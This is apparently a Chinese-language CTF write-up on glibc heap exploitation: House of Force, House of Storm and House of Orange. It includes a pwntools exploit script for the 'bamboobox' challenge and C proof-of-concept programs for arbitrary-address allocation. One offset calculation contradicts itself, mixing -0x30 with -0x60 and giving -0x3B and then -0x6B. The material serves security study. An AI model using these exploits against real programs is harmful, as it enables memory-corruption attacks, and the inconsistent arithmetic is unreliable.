House of Einherjar
也就是利用 off_by_one 的原理来填充 next_chunk 的 prev_size ,再进行 unlink 操作,配合 fake_chunk 的构造,实现任意地址写。(详情见之前的文章)
House of Force
介绍
House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House of Force 方法进行利用,需要以下条件:
- 能够以
溢出
等方式控制到top chunk
的size
域 - 能够自由地控制堆分配尺寸的大小
简而言之,如果我现在能够进行堆溢出,修改 top_chunk
的 size
, 并且拥有两次能够任意控制大小的 malloc
的机会,通过构造payload, 可以实现任意地址写。
步骤
以 ctf_wiki - bamboo 为例子
- 填充 top_chunk_size
我现在有一个堆块,是我自己创建的(0x603020),大小为0x30。紧跟其后的是 top_chunk
,大小为0x20fa0,现在我可以通过堆溢出的方式将 0x603068 修改为 p64(-1)
修改完成:
这样,glibc 在 top_chunk 切割并分配新的区块的时候,就会认为自己有一个非常大的 top_chunk,就能够实现任意大小区块的分配。
- 构造 malloc_size
如果这个时候分配一个 p64(-0x60) 的区块,由于 unsigned_int 的关系,-0x60被转化成一个很大的正数,top_chunk 被切割(相当于把 2^64 - 0x60的内存空间全部当作堆块分配了出来 =-=),于是 top_chunk 就回归到了 0x60的大小,同时位置也跑到了刚刚的 offset = -0x60 的位置上去。
这样我们就可以修改到 -0x50 开始的一系列数据
但是 malloc 负数空间的处理方式有所不同,应该如何构造这个 malloc_size 呢?
-
我们需要绕过
REQUEST_OUT_OF_RANGE(req)
这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。#define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= \ (unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))
-
在满足对应的约束后,我们需要使得
request2size
正好转换为对应的大小,也就是说我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。#define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ MINSIZE : \ ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。
我们只需要让 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
恰好等于 -0x60 就行了。
req
就是我们的 malloc_size
SIZE_SZ
等于 4(32位),8(64位)
MALLOC_ALIGN_MASK
等于 4(32位),7(64位)
req = -0x30 - SIZE_SZ - MALLOC_ALIGN_MASK = -0x60 - 7 - 4 = -0x3B
malloc(-0x6B) 即可
可以看到,修改之后,top_chunk的位置从 0x603060 变到了 0x603000。
- 写数据
再进行一次 malloc,但是要保证 <code>new_chunk_size + 0x10 <= top_chunk_size</code>
,这样,glibc就在我们期望的地方申请了区块,就可以对其进行操作了。
from pwn import *
context.log_level = 'DEBUG'
p = process('./bamboobox')
elf = ELF('./bamboobox')
magic = 0x400D49
def add(length, data):
p.sendafter('Your choice:', '2')
p.sendafter('Please enter the length of item name:', str(length))
p.sendafter('Please enter the name of item:', data)
def change(idx, length, data):
p.sendafter('Your choice:','3')
p.sendafter('Please enter the index of item:', str(idx))
p.sendafter('Please enter the length of item name:', str(length))
p.sendafter('Please enter the new name of the item:', data)
def exitpwn():
p.sendafter('Your choice:','5')
add(0x30, 'mrh929')
#gdb.attach(p, 'b *0x400A6F')
change(0, 0x41, 'a'*0x38 + p64(0xffffffffffffffff))
#gdb.attach(p, 'b *0x400A6F')
offset = -0x60 - 0x8 -0x7
add(offset, 'bbbbbbbbbbbbbbbb')
add(0x10, 'c'*0x8 + p64(magic))
exitpwn()
p.interactive()
PS
-
这个方法只适用于有堆溢出的题目,并且要有malloc两次任意大小区块的能力
-
根据 randomize_va_space 的不同,该利用方法的使用范围不同
该方法极度依赖堆地址,若系统开启堆地址随机化(即randomize_va_space=2),则不能达到任意地址写的目的。但修改后向的堆块数据还是可以做到的(比如本题)。
House of Storm
这个漏洞利用了 largebin attack 可以进行两次任意地址写堆块地址
的操作的原理,再结合 unsorted bin 不检测 bk 指针合法性的特性,从而构造一个合法的堆块供用户 malloc
,达到了任意地址写的目的。
https://mrh1s.top/archives/661#toc-head-9
example
#include<stdio.h>
int buf[100];
int main(){
void *A, *B, *p;
void *evil_addr = (void*)buf;
printf("evil_addr:%p\n", evil_addr);
evil_addr -= 0x10;
A=malloc(0x400-0x10); //A
malloc(0x10); //gap
B=malloc(0x420-0x10); //B
malloc(0x10); //gap
free(A); //free A into unsorted bin.
malloc(0x500); //sort A into largebin.
free(B); //free B into unsorted bin.
*(long long*)(A+0x18)=evil_addr-0x20+8-5; //A->bk_nextsize=evil_addr-0x20+8-5.
*(long long*)(A+0x8)=evil_addr+8; //A->bk=evil_addr+8.
*(long long*)(B+0x8)=evil_addr; //B->bk=evil_addr
p = malloc(0x48); //evil_addr are malloced out here.
printf("mallocted_chunk:%p\n", p);
}
用以下命令进行编译:
gcc -fpie -pie test.c -o test --debug
运行可以看到,程序成功 malloc 了 evil_addr,达到了任意地址写的目的。
why
我们首先要有两个 large chunk
,一个位于 largebin
中,一个位于 unsorted_bin
中,分别记为 A、B。
-
unsorted bin
的B
用于伪造指针指向evil_addr
将B->bk
改为evil_addr
,这样下一次进行 unsorted bin 整理时,程序能够顺利遍历到evil_addr
上去 -
largebin
的A
用于进行两次任意地址写堆块。
a. 将A->bk_nextsize
改为evil_addr-0x20+0x8-5
,这是为了让evil_addr+0x8
的size
位变为56
(因为在开启PIE
的程序里,堆块地址最高位通常为 0x56 或 0x55,而堆块地址通常只有6 bytes
)
b. 将 A->bk
改为 evil_addr-0x10+0x18
= evil_addr+0x8
,这是为了让 evil_addr+0x18
的 bk
位变为可写数据的地址(详见下面的源码,如果不改 bk ,指针会出错,程序直接崩溃)
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
最终的 &evil_addr 处的堆块结构:
{
prev_size = xxxxxxxxxx,
size = 0x56,
fd = 0x0,
bk = 0x56xxxxxxxxxxxx,
fd_nextsize = 0,
bk_nextsize = 0
};
接下来只需要 malloc(0x48)-> size = 0x58,那么就能顺利将 evil_addr
处的堆块申请到手了。不过数据区在 evil_addr+0x10
,所以要提前把地址构造好。
这个利用方法有时会崩溃,因为程序会调用宏 chunk_is_mmapped(p)
,所以只有 0x56
开头的地址才能成功。
/* check for mmap()'ed chunk */
# define IS_MMAPPED 0x2
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
House of Orange
抛开其它依赖 house of orange 的利用方式来说, Orange
是一个很简单的漏洞,利用 top chunk
不够分配时会掉入 unsorted bin 的特性来达到 free
操作的目的。
首先看看以下源码:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
top chunk
掉入 unsorted bin
是有条件的,首先必须 size 不够分配,其次 size 必须满足一定条件(若 size 不满足这个条件,系统则会断定 top chunk
受到了篡改,程序崩溃)
具体要求如下:
- 伪造的 size 必须要对齐到内存页
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
什么是内存对齐呢?就是 top_chunk
的结束地址的后三位是 0x1000 的整数倍。
即 sigma{malloc_size} + top_size % 0x1000 == 0
如果我一开始 malloc(0x10),则需要将 top_size
修改为 4kb对齐的 size。可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1...
而诸如0x40 这样的数字不满足对齐,因此不能实现利用。
example
#define fake_size 0x1fe1
int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);
*((long long*)ptr)=fake_size;
malloc(0x2000);
malloc(0x60);
}
我们先malloc(0x10):
可以看到 top_chunk
的大小为 0x20fe0
接下来执行修改 top_size
,并且 malloc(0x2000) (0x2010 > top_size
):
top chunk
被成功放入了 unsorted bin
这时候,再 malloc(0x60),因为 unsorted bin
中的 top_chunk
足够大,所以执行 split
切割指令,漏洞利用成功。